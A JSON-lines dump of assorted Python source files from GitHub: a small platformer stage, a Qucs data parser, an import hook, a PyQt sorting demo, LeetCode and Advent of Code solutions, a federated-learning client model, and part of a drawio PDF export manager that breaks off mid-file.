{"seq_id":"18644334276","text":"Tile = [[0 for col in range(1001)] for row in range(1001)]\n\ndef fill_tile(x, y, x_size, y_size):\n    x_len = int(x_size / 2)\n    x_min = x - x_len\n    x_max = x + x_len\n\n    y_len = int(y_size / 2)\n    y_min = y - y_len\n    y_max = y + y_len\n    for i in range(y_min, y_max+1):\n        for j in range(x_min, x_max+1):\n            Tile[i][j] = 1\n\n\n\nclass Back:\n    def __init__(self):\n        self.image = load_image('background.png')\n\n    def draw(self):\n        self.image.draw(400,300)\n\n\nclass Floor:\n    def __init__(self):\n        self.image = load_image('floor.png')\n        self.x = 400\n        self.y = 30\n        self.x_size = 800\n\n    def draw(self):\n        self.image.clip_draw(0, 0, self.x_size, 60, self.x, self.y)\n\n\nfloors = [Floor() for i in range(3)]\nfloors[1].x, floors[1].y, floors[1].x_size = 400, 30, 800\nfloors[0].x, floors[0].y, floors[0].x_size = 600, 90, 400\nfloors[2].x, floors[2].y, floors[2].x_size = 700, 150, 200\n\nmario = Mario()\nrunning = True\nrun_right = False\nrun_left = False\njump_key_down = False\n\nfor floor in floors:\n    fill_tile(floor.x, floor.y, floor.x_size, FLOOR_HEIGHT)\n\nwhile running:\n    handle_events()\n\n    # game logic\n    if run_right:\n        mario.move_right()\n    elif run_left:\n        mario.move_left()\n    else :\n        mario.vel_reset()\n\n\n\n    mario.falling()\n    mario.update()\n\n    # game drawing\n    clear_canvas()\n    back.draw()\n    for floor in floors:\n        floor.draw()\n    mario.draw()\n    update_canvas()\n    delay(0.05)\n\n\n# finalization code\nclose_canvas()\n","repo_name":"SeeongHyunSeok-cpf20b/MyProject","sub_path":"stage.py","file_name":"stage.py","file_ext":"py","file_size_in_byte":1527,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"31837318137","text":"#!/usr/bin/env python\n\nimport re\nimport sys\nimport array, traceback\nimport pylab\n\nclass Data: pass\nclass Val(array.ArrayType):\n    len=0\n    dep=\"\"\n\n\ndef load_data(filename):\n    state=\"end\"\n    dat=Data()\n    valdep=[]\n    infile=open(filename)\n    for line in infile.readlines():\n        tagfnd=re.search(\"\\<([^<>]*)\\>\",line)\n        if tagfnd:\n            tag=tagfnd.group(1)\n            tag.strip()\n            if re.search(\"Qucs Dataset \",line):\n                continue\n            if tag[0]==\"/\":\n                state=\"end\"\n                print(\"Number of Dimensions:\",len(valdep))\n                if len(valdep)>1:\n                    shape=[]\n                    for i in range(len(valdep),0,-1):\n                        shape.append(dat.__dict__[valdep[i-1]].len)\n                    val=pylab.array(val)\n                    val=pylab.reshape(val,shape)\n                dat.__dict__[name]=val\n            else:\n                state=\"start\"\n                words=tag.split()\n                type=words[0]\n                name=words[1].replace(\".\",\"_\")\n                name=name.replace(\",\",\"\")\n                name=name.replace(\"[\",\"\")\n                name=name.replace(\"]\",\"\")\n                if type==\"indep\":\n                    val=Val(\"f\")\n                    val.len=int(words[2])\n                else:\n                    val=[]\n                    valdep=words[2:]\n        else:\n            if state==\"start\":\n                if \"j\" in line:\n                    print(line)\n                    line=line.replace(\"j\",\"\")\n                    line=\"%sj\"%line.strip()\n                    try:\n                        val.append(complex(line))\n                    except:\n                        traceback.print_exc()\n                        print(line) # add nan check\n                        print(name)\n                        print(len(val))\n                else:\n                    val.append(float(line))\n            else:\n                print(\"Parser Error:\",line)\n\n    return dat\n\n\nif __name__ == \"__main__\":\n\n\n    dat=load_data(sys.argv[1])\n\n    print(\"Variables in\",sys.argv[1])\n\n    for key in dat.__dict__.keys():\n        print(\"\\nName =\",key)\n        try:\n            print(\"\\tLen=\",dat.__dict__[key].len)\n        except:\n            pass\n        try:\n            print(\"\\tDep=\",dat.__dict__[key].dep)\n        except:\n            pass\n","repo_name":"zonca/python-qucs","sub_path":"qucs/extract.py","file_name":"extract.py","file_ext":"py","file_size_in_byte":2365,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"35"}
{"seq_id":"42271855046","text":"# -*- coding: utf-8 -*-\n\n# (c) 2016 Marcos Dione <mdione@grulic.org.ar>\n\n# This file is part of ayrton.\n#\n# ayrton is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# ayrton is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with ayrton.  If not, see <http://www.gnu.org/licenses/>.\n\nfrom importlib.abc import MetaPathFinder, Loader\ntry:\n    # py3.4\n    from importlib.machinery import ModuleSpec\nexcept ImportError:  # pragma: no cover\n    # py3.3\n    pass  # sorry, no support\n\nimport sys\nimport os\nimport os.path\n\nimport logging\nlogger= logging.getLogger ('ayrton.importer')\n\nfrom ayrton.file_test import a, d\nfrom ayrton import Ayrton\nimport ayrton.utils\n\n\nclass AyrtonLoader (Loader):\n\n    @classmethod\n    def exec_module (klass, module):\n        # module is a freshly created, empty module\n        # «the loader should execute the module’s code\n        # in the module’s global name space (module.__dict__).»\n        load_path= module.__spec__.origin\n        logger.debug2 ('loading %s [%s]', module, load_path)\n        # I *need* to polute the globals, so modules can use any of ayrton's builtins\n        loader= Ayrton (g=module.__dict__)\n        loader.run_file (load_path)\n\n        # set the __path__\n        # TODO: read PEP 420\n        init_file_name= '__init__.ay'\n        if load_path.endswith (init_file_name):\n            # also remove the '/'\n            module.__path__= [ load_path[:-len (init_file_name)-1] ]\n\n        logger.debug3 ('module.__dict__: %s ', ayrton.utils.dump_dict (module.__dict__))\n\nloader= AyrtonLoader ()\n\n\nclass AyrtonFinder (MetaPathFinder):\n\n    @classmethod\n    def find_spec (klass, full_name, paths=None, target=None):\n        # full_name is the full python path (as in grandparent.parent.child)\n        # and path is the path of the parent (in a list, see PEP 420);\n        # if None, then we're loading a root module\n        # let's start with a single file\n        # TODO: read PEP 420 :)\n        logger.debug2 ('searching for %s under %s for %s', full_name, paths, target)\n        last_mile= full_name.split ('.')[-1]\n\n        if paths is not None:\n            python_path= paths  # search only there\n        else:\n            python_path= sys.path\n\n        logger.debug2 (python_path)\n        for path in python_path:\n            full_path= os.path.join (path, last_mile)\n            init_full_path= os.path.join (full_path, '__init__.ay')\n            module_full_path= full_path+'.ay'\n\n            logger.debug2 ('trying %s', init_full_path)\n            if -d (full_path) and -a (init_full_path):\n                logger.debug2 ('found package %s', full_path)\n                return ModuleSpec (full_name, loader, origin=init_full_path)\n\n            else:\n                logger.debug2 ('trying %s', module_full_path)\n                if -a (module_full_path):\n                    logger.debug2 ('found module %s', module_full_path)\n                    return ModuleSpec (full_name, loader, origin=module_full_path)\n\n        logger.debug2 ('404 Not Found')\n        return None\n\nfinder= AyrtonFinder ()\n\n\n# I must insert it at the beginning so it goes before FileFinder\nsys.meta_path.insert (0, finder)\n","repo_name":"StyXman/ayrton","sub_path":"ayrton/importer.py","file_name":"importer.py","file_ext":"py","file_size_in_byte":3597,"program_lang":"python","lang":"en","doc_type":"code","stars":36,"dataset":"github-code","pt":"35"}
{"seq_id":"9489172050","text":"\r\nfrom PyQt5.QtWidgets import QMainWindow, QApplication, QWidget, QPushButton, QAction, QLineEdit, QMessageBox, QListWidget\r\nfrom PyQt5.QtGui import QIcon\r\nfrom PyQt5.QtCore import pyqtSlot\r\nfrom PyQt5 import QtCore\r\nfrom PyQt5.QtWidgets import *\r\nimport sys\r\n\r\nimport time\r\nimport datetime\r\n\r\n\r\nclass List(QMainWindow):\r\n\r\n    @pyqtSlot()\r\n    def __init__(self):\r\n        super().__init__()\r\n        self.title = 'Sort the library'\r\n        self.left = 0\r\n        self.top = 0\r\n        self.width = 1000\r\n        self.height = 500\r\n        self.initUI()\r\n\r\n    @pyqtSlot()\r\n    def initUI(self):\r\n        self.setWindowTitle(self.title)\r\n        self.setGeometry(self.left, self.top, self.width, self.height)\r\n        # self.setStyleSheet(\"\"\"QMainWindow{ background: red; }\"\"\")\r\n\r\n\r\n        # # Create textbox\r\n        # self.textbox = QLineEdit(self)\r\n        # self.textbox.move(20, 20)\r\n        # self.textbox.resize(280, 40)\r\n\r\n        # Create a button in the window\r\n        self.button = QPushButton('Ascending', self)\r\n        self.button.move(0, 0)\r\n\r\n        # Create a button in the window\r\n        self.button2 = QPushButton('Descending' , self)\r\n        self.button2.move(100, 0)\r\n\r\n        self.listwidget = QListWidget(self)\r\n        self.listwidget.move(0, 30)\r\n        self.listwidget.resize(200, 500)\r\n        # self.setStyleSheet(\"\"\"QListWidget{ background: red; }\"\"\")\r\n        self.listwidget.addItem(\"Yousif\");\r\n        self.listwidget.addItem(\"Jake\");\r\n        self.listwidget.addItem(\"Mohamed\");\r\n        self.listwidget.addItem(\"Abdulla\");\r\n        self.listwidget.addItem(\"Omar\");\r\n\r\n        self.button.clicked.connect(self.sortAscending)\r\n        self.button2.clicked.connect(self.sortDescending)\r\n\r\n\r\n\r\n\r\n\r\n        # date\r\n\r\n        self.button3 = QPushButton('Ascending', self)\r\n        self.button3.move(300, 0)\r\n\r\n        # Create a button in the window\r\n        self.button4 = QPushButton('Descending', self)\r\n        self.button4.move(400, 0)\r\n\r\n        self.listwidget2 = QListWidget(self)\r\n        self.listwidget2.move(300, 30)\r\n        self.listwidget2.resize(200, 500)\r\n        # self.setStyleSheet(\"\"\"QListWidget{ background: red; }\"\"\")\r\n        self.listwidget2.addItem(\"01/02/2019\");\r\n        self.listwidget2.addItem(\"04/30/2012\");\r\n        self.listwidget2.addItem(\"03/15/2015\");\r\n        self.listwidget2.addItem(\"10/19/2005\");\r\n        self.listwidget2.addItem(\"09/34/2009\");\r\n        self.button3.clicked.connect(self.sortDatAscending)\r\n        self.button4.clicked.connect(self.sortDateDescending)\r\n\r\n        # by chanle\r\n        # Create a button in the window\r\n        self.button5 = QPushButton('Ascending', self)\r\n        self.button5.move(600, 0)\r\n\r\n        # Create a button in the window\r\n        self.button6 = QPushButton('Descending' , self)\r\n        self.button6.move(700, 0)\r\n\r\n        self.listwidget3 = QListWidget(self)\r\n        self.listwidget3.move(600, 30)\r\n        self.listwidget3.resize(200, 500)\r\n        # self.setStyleSheet(\"\"\"QListWidget{ background: red; }\"\"\")\r\n        self.listwidget3.addItem(\"Ladysif1\");\r\n        self.listwidget3.addItem(\"Politeness\");\r\n        self.listwidget3.addItem(\"Chorus\");\r\n        self.listwidget3.addItem(\"Blarney\");\r\n        self.listwidget3.addItem(\"Fogcreep\");\r\n\r\n        self.button5.clicked.connect(self.sortChannelAscending)\r\n        self.button6.clicked.connect(self.sortChanelDescending)\r\n\r\n\r\n    @pyqtSlot()\r\n    def sortAscending(self):\r\n        self.listwidget.sortItems()\r\n        self.show()\r\n    @pyqtSlot()\r\n    def sortDescending(self):\r\n        self.listwidget.sortItems(QtCore.Qt.DescendingOrder)\r\n        self.show()\r\n    @pyqtSlot()\r\n    def sortDatAscending(self):\r\n        self.listwidget2.sortItems()\r\n        self.show()\r\n    @pyqtSlot()\r\n    def sortDateDescending(self):\r\n        self.listwidget2.sortItems(QtCore.Qt.DescendingOrder)\r\n        self.show()\r\n\r\n    @pyqtSlot()\r\n    def sortChannelAscending(self):\r\n        self.listwidget3.sortItems()\r\n        self.show()\r\n\r\n    @pyqtSlot()\r\n    def sortChanelDescending(self):\r\n        self.listwidget3.sortItems(QtCore.Qt.DescendingOrder)\r\n        self.show()\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n    app = QApplication(sys.argv)\r\n    ex = List()\r\n    ex.show()\r\n    sys.exit(app.exec_())\r\n\r\n","repo_name":"WSU-4110/EZ_Audio","sub_path":"Sorting_Name_Date_Channel.py","file_name":"Sorting_Name_Date_Channel.py","file_ext":"py","file_size_in_byte":4272,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"10816676411","text":"# 时间复杂度 O (k ^ 2)\n\nimport heapq\n\n\nclass Solution(object):\n    def kSmallestPairs(self, nums1, nums2, k):\n        \"\"\"\n        :type nums1: List[int]\n        :type nums2: List[int]\n        :type k: int\n        :rtype: List[List[int]]\n        \"\"\"\n        queue, res = [], []\n        for i in range(min(k, len(nums1))):\n            for j in range(min(k, len(nums2))):\n                heapq.heappush(queue, (nums1[i] + nums2[j], [nums1[i], nums2[j]]))\n        for _ in range(k):\n            if queue:\n                res.append(heapq.heappop(queue)[1])\n        return res\n\n\n# 优化后的版本\n\n\nclass Solution_2(object):\n    def kSmallestPairs(self, nums1, nums2, k):\n        \"\"\"\n        :type nums1: List[int]\n        :type nums2: List[int]\n        :type k: int\n        :rtype: List[List[int]]\n        \"\"\"\n        queue, res = [], []\n        for i in range(min(k, len(nums1))):\n            heapq.heappush(queue, (nums1[i] + nums2[0], i, 0))\n        while k and queue:\n            cur, i, j = heapq.heappop(queue)\n            res.append([nums1[i], nums2[j]])\n            k -= 1\n            if j + 1 < len(nums2):\n                heapq.heappush(queue, (nums1[i] + nums2[j + 1], i, j + 1))\n        return res\n","repo_name":"jia0713/leetcode","sub_path":"300-400/373-Find K Pairs with Smallest Sums.py","file_name":"373-Find K Pairs with Smallest Sums.py","file_ext":"py","file_size_in_byte":1214,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"70013223460","text":"import re\nimport sys\n\n\ndef read_input(filename):\n    with open(filename) as f:\n        line = f.readline()\n\n    pattern_x = '.+x=(-?[0-9]+)..(-?[0-9]+)'\n    pattern_y = '.+y=(-?[0-9]+)..(-?[0-9]+)'\n\n    result_x = re.match(pattern_x, line)\n    result_y = re.match(pattern_y, line)\n\n    return (int(result_x.group(1)), int(result_x.group(2))), (int(result_y.group(1)), int(result_y.group(2)))\n\n\ndef in_target(x, y):\n    return target[0][0] <= x <= target[0][1] and target[1][0] <= y <= target[1][1]\n\n\ndef out_of_target(x, y):\n    return x > target[0][1] or y < target[1][0]\n\n\ndef launch_probe():\n    res = 0\n    highest_y = -sys.maxsize\n    for i in range(300):\n        for j in range(300):\n            x, y = 0, 0\n            i_ = i\n            j_ = j\n            local_highest = 0\n            while not out_of_target(x, y):\n                if in_target(x, y):\n                    if local_highest > highest_y:\n                        highest_y = local_highest\n                        res = highest_y\n                x += i_\n                y += j_\n                if y > local_highest:\n                    local_highest = y\n                if i_ > 0:\n                    i_ -= 1\n                j_ -= 1\n    return res\n\n\ndef launch_all_probe_posibilities():\n    all_posibilities = []\n    for i in range(500):\n        # if i % 10 == 0:\n        #     print(i)\n        for j in range(-100,500):\n            # print(i, j)\n            x, y = 0, 0\n            i_ = i\n            j_ = j\n            while not out_of_target(x, y):\n                if in_target(x, y):\n                    all_posibilities.append((i, j))\n                    break\n                x += i_\n                y += j_\n                if i_ > 0:\n                    i_ -= 1\n                j_ -= 1\n    return all_posibilities\n\n\nif __name__ == '__main__':\n    target = read_input('input.txt')\n    # print(launch_probe())\n    print(launch_all_probe_posibilities())\n    print(len(launch_all_probe_posibilities()))\n","repo_name":"ivancordonm/adventofcode-2021","sub_path":"day17/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1977,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"15852076533","text":"from threading import Lock\n\nimport numpy as np\nimport sklearn\nimport tensorflow as tf\nfrom tensorflow.keras.models import model_from_json\nimport tensorflow.keras.backend as K\n\n\nclass LocalModel(object):\n    \"\"\"\n    Local Model\n    Each Client has its own model. The Weights will be sent to the Server.\n    The Server updates a Global Model and sends this back to the clients.\n    \"\"\"\n\n    def __init__(self, model_config, data_collected, optimizer):\n        \"\"\"\n        Create Local Modal.\n        Retrieved Configuration from server and local client data are applied here.\n        :param model_config:\n        :param data_collected:\n        :param optimizer:\n        \"\"\"\n        assert optimizer is not None, \"please prove a optimizer dict\"\n        assert optimizer['loss'] is not None, \"a loss function must be set in the optimizer dict\"\n        assert optimizer['metrics'] is not None, \"a metric must be defined in the optimizer dict\"\n        assert optimizer['optimizer'] is not None, \"a optimizer must be defined in the optimizer dict\"\n        assert data_collected[\"x_train\"] is not None, \"X matrix for training must be provided\"\n        assert data_collected[\"y_train\"] is not None, \"y vector for training must be provided\"\n        assert data_collected[\"x_test\"] is not None, \"X matrix for testing must be provided\"\n        assert data_collected[\"y_test\"] is not None, \"y vector for testing must be provided\"\n        self.model_config = model_config\n        self.update_lock = Lock()\n        self.graph = tf.Graph()\n        with self.graph.as_default():\n            self.session = tf.Session()\n            with self.session.as_default():\n                self.model = model_from_json(model_config['model_json'])\n                if len(self.model.layers) >= 32: # hardcoded if model is lfw\n                    for l in self.model.layers[:-4]:\n                        l.trainable = False\n                self.optimizer = optimizer\n                self.model.compile(loss=optimizer['loss'],\n                                   optimizer=optimizer['optimizer'](),\n                                   metrics=optimizer['metrics'])\n                self.model._make_predict_function()\n\n        self.x_train = np.array(data_collected[\"x_train\"])\n        self.y_train = np.array(data_collected[\"y_train\"])\n        self.x_test = np.array(data_collected[\"x_test\"])\n        self.y_test = np.array(data_collected[\"y_test\"])\n\n    def get_weights(self):\n        \"\"\"\n        Get Keras Model Weights\n        :return: weights\n        \"\"\"\n        return self.model.get_weights()\n\n    def set_weights(self, new_weights):\n        \"\"\"\n        Sets the Keras model Weights\n        :param new_weights:\n        :return:\n        \"\"\"\n        with self.update_lock:\n            with self.graph.as_default():\n                with self.session.as_default():\n                    self.model.set_weights(new_weights)\n\n    def get_batch(self, x, y):\n        \"\"\"\n        Returns a random training batch\n        :return: Training Batch\n        \"\"\"\n        x, y = sklearn.utils.shuffle(x, y)\n        residual = (len(x) % self.model_config['batch_size'])\n        return x[:-residual], y[:-residual]\n\n    def train_one_round(self):\n        \"\"\"\n        Train one round\n        :return: weights and score\n        \"\"\"\n\n        x_train, y_train = self.get_batch(self.x_train, self.y_train)\n        with self.update_lock:\n            with self.graph.as_default():\n                with self.session.as_default():\n                    self.model.fit(x_train, y_train,\n                                   epochs=self.model_config['epoch_per_round'],\n                                   batch_size=self.model_config['batch_size'],\n                                   verbose=1,\n                                   validation_data=(x_train, y_train))\n                    score = self.model.evaluate(x_train, y_train, batch_size=self.model_config['batch_size'], verbose=0)\n                    score[0] = np.mean(score[0])\n                    print('Train loss:', score[0])\n                    print('Train accuracy:', score[1])\n                    return self.model.get_weights(), score[0], score[1]\n\n    def evaluate(self):\n        \"\"\"\n        Evaluation fo Test set after global model converged\n        :return:\n        \"\"\"\n        with self.update_lock:\n            with self.graph.as_default():\n                with self.session.as_default():\n                    x_test, y_test = self.get_batch(self.x_test, self.y_test)\n                    score = self.model.evaluate(x_test, y_test, batch_size=self.model_config['batch_size'], verbose=0)\n                    score[0] = np.mean(score[0])\n                    print('Test loss:', score[0])\n                    print('Test accuracy:', score[1])\n                    return score\n\n    def save_model(self, path, cid):\n        print(f'saving local model to {path}/{cid}_local_model.h5')\n        with self.update_lock:\n                with self.graph.as_default():\n                    with self.session.as_default():\n                        self.model.save(f'{path}/{cid}_local_model.h5')\n\n    def save(self, path, cid, train_indices, test_indices):\n        \"\"\"\n        Save Global Model wrt. to client\n        :param path:\n        :param cid:\n        :param train_indices:\n        :param test_indices:\n        :param validation_indices:\n        :return:\n        \"\"\"\n        save_indices = {\"train\": train_indices, \"test\": test_indices}\n        print(f'saving indices to {path}/{cid}_indices.npy')\n        np.save(f'{path}/{cid}_indices.npy', save_indices)\n        self.save_model(path, cid)\n","repo_name":"SAP-samples/security-research-fed-dp-mia","sub_path":"FIA/libs/FederatedFramework/core/Entities/local_model.py","file_name":"local_model.py","file_ext":"py","file_size_in_byte":5590,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"19606700612","text":"import asyncio\nimport atexit\nimport os\nimport shutil\nimport socket\nimport subprocess\nimport sys\nimport tempfile\nimport time\nimport urllib\nfrom base64 import b64decode, b64encode\nfrom concurrent.futures import ThreadPoolExecutor\nfrom io import BytesIO\nfrom pathlib import Path\n\nimport lxml.etree as E\nfrom jupyterlab.commands import get_app_dir\nfrom PIL import Image\nfrom requests import Session\nfrom requests_cache import CachedSession\nfrom tornado.concurrent import run_on_executor\nfrom traitlets import Bool, Dict, Instance, Int, Unicode, default\nfrom traitlets.config import LoggingConfigurable\n\ntry:\n    from PyPDF2 import PdfMerger, PdfReader, PdfWriter\nexcept ImportError:  # pragma: no cover\n    from PyPDF2 import (\n        PdfFileMerger as PdfMerger,\n        PdfFileReader as PdfReader,\n        PdfFileWriter as PdfWriter,\n    )\n\nfrom .constants import (\n    DRAWIO_APP,\n    ENV_IPYDRAWIO_DATA_DIR,\n    ENV_JUPYTER_DATA_DIR,\n    PNG_DRAWIO_INFO,\n    WORK_DIR,\n)\n\nVEND = Path(__file__).parent / \"vendor/draw-image-export2\"\n\nDRAWIO_STATIC = (Path(get_app_dir()) / DRAWIO_APP).resolve()\n\nJLPM = Path(shutil.which(\"jlpm\")).resolve()\n\nNODE = Path(\n    shutil.which(\"node\") or shutil.which(\"node.exe\") or shutil.which(\"node.cmd\")\n).resolve()\n\n\nclass IPyDrawioExportManager(LoggingConfigurable):\n    \"\"\"manager of (currently) another node-based server\"\"\"\n\n    drawio_server_url = Unicode().tag(config=True)\n    drawio_port = Int().tag(config=True)\n    drawing_name = Unicode(\"drawing.dio.xml\").tag(config=True)\n    core_params = Dict().tag(config=True)\n    drawio_export_workdir = Unicode().tag(config=True)\n    pdf_cache = Unicode(allow_none=True).tag(config=True)\n    attach_xml = Bool().tag(config=True)\n    attachment_name = Unicode(\"diagram.drawio\").tag(config=True)\n    is_provisioning = Bool(False)\n    is_starting = Bool(False)\n    init_wait_sec = Int(2).tag(config=True)\n    _server = Instance(subprocess.Popen, allow_none=True)\n    _session = Instance(Session)\n\n    executor = ThreadPoolExecutor(1)\n\n    def initialize(self):\n        atexit.register(self.stop_server)\n\n    @run_on_executor\n    def _pdf(self, pdf_request):\n        \"\"\"TODO: enable more customization... I guess over HTTP headers?\n        X-JPYDIO-embed: 1\n        \"\"\"\n        data = dict(pdf_request)\n        data.update(**self.core_params)\n        status_code = None\n        pdf_text = None\n        res = None\n\n        retries = 3\n\n        while retries:\n            status_code = None\n\n            if self._server.returncode is not None:  # pragma: no cover\n                self.start_server()\n                time.sleep(self.init_wait_sec)\n            try:\n                self.log.warning(f\"[ipydrawio-export] exporting ({retries} retries)...\")\n                res = self._session.post(self.url, timeout=None, data=data)\n                pdf_text = res.text\n                status_code = res.status_code\n            except Exception as err:  # pragma: no cover\n                self.log.warning(f\"[ipydrawio-export] Pre-HTTP Error: {err}\")\n                time.sleep((3 - retries) * self.init_wait_sec)\n\n            if status_code is not None:\n                if status_code <= 400:\n                    break\n                elif res:  # pragma: no cover\n                    self.log.warning(\n                        f\"[ipydrawio-export] HTTP {res.status_code}: {res.text}\"\n                    )\n                else:  # pragma: no cover\n                    self.log.warning(\"[ipydrawio-export] retrying...\")\n\n            retries -= 1  # pragma: no cover\n\n        if res:\n            self.log.debug(f\"[ipydrawio-export] {len(res.text)} bytes\")\n\n        if pdf_text and self.attach_xml and self.attachments:\n            self.log.info(\n                f\"[ipydrawio-export] attaching drawio XML as {self.attachment_name}\"\n            )\n            with tempfile.TemporaryDirectory() as td:\n                tdp = Path(td)\n                output_pdf = tdp / \"original.pdf\"\n                output_pdf.write_bytes(b64decode(pdf_text))\n                final_pdf = tdp / \"final.pdf\"\n                final = PdfWriter()\n                final.appendPagesFromReader(PdfReader(str(output_pdf), \"rb\"))\n                xml = pdf_request[\"xml\"]\n                if hasattr(xml, \"encode\"):\n                    xml = xml.encode(\"utf-8\")\n                final.addAttachment(self.attachment_name, xml)\n                with final_pdf.open(\"wb\") as fpt:\n                    final.write(fpt)\n\n                pdf_text = b64encode(final_pdf.read_bytes())\n                self.log.debug(\n                    f\"[ipydrawio-export] {len(pdf_text)} bytes (with attachment)\"\n                )\n\n        return pdf_text\n\n    @run_on_executor\n    def _merge(self, pdf_requests):\n        tree = E.fromstring(\"\"\"<mxfile version=\"13.3.6\"></mxfile>\"\"\")\n        with tempfile.TemporaryDirectory() as td:\n            tdp = Path(td)\n            merger = PdfMerger()\n            for i, pdf_request in enumerate(pdf_requests):\n                self.log.warning(\"adding page %s\", i)\n                for diagram in self.extract_diagrams(pdf_request):\n                    tree.append(diagram)\n                next_pdf = tdp / f\"doc-{i}.pdf\"\n                if pdf_request.get(\"pdf\") is None:  # pragma: no cover\n                    raise ValueError(\"PDF request is empty\")\n                wrote = next_pdf.write_bytes(b64decode(pdf_request[\"pdf\"]))\n                if wrote:\n                    merger.append(PdfReader(str(next_pdf)))\n            output_pdf = tdp / \"output.pdf\"\n            final_pdf = tdp / \"final.pdf\"\n            merger.write(str(output_pdf))\n            composite_xml = E.tostring(tree).decode(\"utf-8\")\n            final = PdfWriter()\n            final.appendPagesFromReader(PdfReader(str(output_pdf), \"rb\"))\n            if self.attach_xml:\n                final.addAttachment(self.attachment_name, composite_xml.encode(\"utf-8\"))\n            with final_pdf.open(\"wb\") as fpt:\n                final.write(fpt)\n            return b64encode(final_pdf.read_bytes()).decode(\"utf-8\")\n\n    async def pdf(self, pdf_requests):\n        if not self._server:  # pragma: no cover\n            await self.start_server()\n\n        for pdf_request in pdf_requests:\n            pdf_request[\"pdf\"] = await self._pdf(pdf_request)\n\n        if len(pdf_requests) == 1:\n            return pdf_requests[0][\"pdf\"]\n\n        return await self._merge(pdf_requests)\n\n    def stop_server(self):\n        if self._server is not None:\n            self.log.warning(\"[ipydrawio-export] shutting down\")\n            self._server.terminate()\n            self._server.wait()\n            self._server = None\n\n    async def status(self):\n        return {\n            \"has_jlpm\": JLPM is not None,\n            \"is_provisioned\": self.is_provisioned,\n            \"is_provisioning\": self.is_provisioning,\n            \"is_starting\": self.is_starting,\n            \"is_running\": self.is_running,\n        }\n\n    @property\n    def url(self):\n        return f\"http://localhost:{self.drawio_port}\"\n\n    @default(\"drawio_port\")\n    def _default_drawio_port(self):\n        port = self.get_unused_port()\n        self.log.debug(f\"[ipydrawio-export] port: {port}\")\n        return port\n\n    @default(\"drawio_server_url\")\n    def _default_drawio_server_url(self):\n        url = DRAWIO_STATIC.as_uri()\n        self.log.debug(f\"[ipydrawio-export] URL: {url}\")\n        return url\n\n    @default(\"_session\")\n    def _default_session(self):  # pragma: no cover\n        if self.pdf_cache is not None:\n            self.log.debug(\"[ipydrawio-export] requests session: cached\")\n            return CachedSession(self.pdf_cache, allowable_methods=[\"POST\"])\n\n        self.log.debug(\"[ipydrawio-export] requests session: regular\")\n        return Session()\n\n    @default(\"core_params\")\n    def _default_core_params(self):\n        return dict(format=\"pdf\", base64=\"1\")\n\n    @default(\"drawio_export_workdir\")\n    def _default_drawio_export_workdir(self):\n        data_root = Path(sys.prefix) / \"share/jupyter\"\n\n        if ENV_JUPYTER_DATA_DIR in os.environ:\n            data_root = Path(os.environ[ENV_JUPYTER_DATA_DIR])\n\n        if ENV_IPYDRAWIO_DATA_DIR in os.environ:\n            data_root = Path(os.environ[ENV_IPYDRAWIO_DATA_DIR])\n\n        workdir = str(data_root if data_root.name == WORK_DIR else data_root / WORK_DIR)\n\n        self.log.debug(f\"[ipydrawio-export] workdir: {workdir}\")\n        return workdir\n\n    @default(\"attach_xml\")\n    def _default_attach_xml(self):\n        return True\n\n    def extract_diagrams(self, pdf_request):\n        node = None\n\n        errors = []\n        try:\n            node = E.fromstring(pdf_request[\"xml\"])\n        except Exception as err:\n            errors += [err]\n\n        if node is None:\n            try:\n                img = Image.open(BytesIO(b64decode(pdf_request[\"xml\"].encode(\"utf-8\"))))\n                node = E.fromstring(urllib.parse.unquote(img.info[PNG_DRAWIO_INFO]))\n            except Exception as err:\n                errors += [err]\n\n        if node is None:\n            self.log.warning(\"errors encountered extracting xml %s\", errors)\n            return\n\n        tag = node.tag\n\n        if tag == \"mxfile\":\n            for diagram in node.xpath(\"//diagram\"):\n                yield diagram\n        elif tag == \"mxGraphModel\":\n            diagram = E.Element(\"diagram\")\n            diagram.append(node)\n            yield diagram\n        elif tag == \"{http://www.w3.org/2000/svg}svg\":\n            diagrams = E.fromstring(node.attrib[\"content\"]).xpath(\"//diagram\")\n            for diagram in diagrams:\n                yield diagram\n\n    def _start_process(self):\n        env = dict(os.environ)\n        env_updates = dict(\n            PORT=str(self.drawio_port),\n            DRAWIO_SERVER_URL=self.drawio_server_url,\n            NODE_ENV=\"production\",\n        )\n        env.update(env_updates)\n\n        self.log.debug(f\"[ipydrawio-export] extra env: {env_updates}\")\n\n        args = [NODE, self.drawio_export_app / \"export.js\"]\n        self._server = subprocess.Popen([*map(str, args)], env=env)\n        return self._server\n\n    async def start_server(self):\n        self.stop_server()\n        self.log.debug(\"[ipydrawio-export] starting\")\n        self.is_starting = True\n\n        if not self.is_provisioned:  # pragma: no cover\n            await self.provision()\n\n        self._start_process()\n\n        self.log.warning(\n            f\"[ipydrawio-export] waiting {self.init_wait_sec}s for server to start\"\n        )\n\n        await asyncio.sleep(self.init_wait_sec)\n\n        self.log.warning(\"[ipydrawio-export] server started\")\n\n        self.is_starting = False\n\n    @property\n    def is_provisioned(self):\n        return self.drawio_export_integrity.exists()\n\n    @property\n    def is_running(self):\n        return self._server is not None and self._server.returncode is None\n\n    @property\n    def drawio_export_app(self):\n        return Path(self.drawio_export_workdir) / VEND.name\n\n    @property\n    def drawio_export_node_modules(self):\n        return self.drawio_export_app / \"node_modules\"\n\n    @property\n    def drawio_export_integrity(self):\n        return self.drawio_export_node_modules / \".yarn-integrity\"\n\n    @run_on_executor\n    def provision(self, force=False):  # pragma: no cover\n        self.is_provisioning = True\n        if not self.drawio_export_app.exists():\n            if not 